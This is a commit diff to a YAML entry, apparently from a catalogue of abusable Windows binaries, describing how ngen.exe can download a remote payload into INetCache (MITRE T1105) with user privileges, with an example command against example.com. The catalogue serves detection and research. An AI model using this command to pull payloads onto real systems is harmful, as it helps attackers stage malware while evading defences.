Update Ngen.yml

yml/OSBinaries/Ngen.yml

@@ -5,19 +5,19 @@ Author: Avihay Eldad
 Created: 2024-02-19
 Commands:
   - Command: ngen.exe http://example.com/calc.exe
-    Description: Downloads payload from remote server using Microsoft native image generator utility.
-    Usecase: Set the payload name as 'calc.exe.config' on the remote server, and it will be downloaded to the cache folder (%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE) as 'calc.exe.xml'.
+    Description: Downloads payload from remote server using the Microsoft Native Image Generator utility.
+    Usecase: It will download a remote payload and place it in INetCache.
     Category: Download
     Privileges: User
     MitreID: T1105
-    OperatingSystem: Windows
+    OperatingSystem: Windows 10, Windows 11
+    Tags:
+      - Download: INetCache    
 Full_Path:
   - Path: C:\Windows\Microsoft.NET\Framework\v2.0.xxx\ngen.exe
   - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.xxx\ngen.exe
   - Path: C:\Windows\Microsoft.NET\Framework\v4.0.xxx\ngen.exe
   - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.xxx\ngen.exe
-Code_Sample:
-  - Code: ngen.exe http://example.com/calc.exe
 Acknowledgement:
   - Person: Avihay Eldad
     Handle: '@AvihayEldad'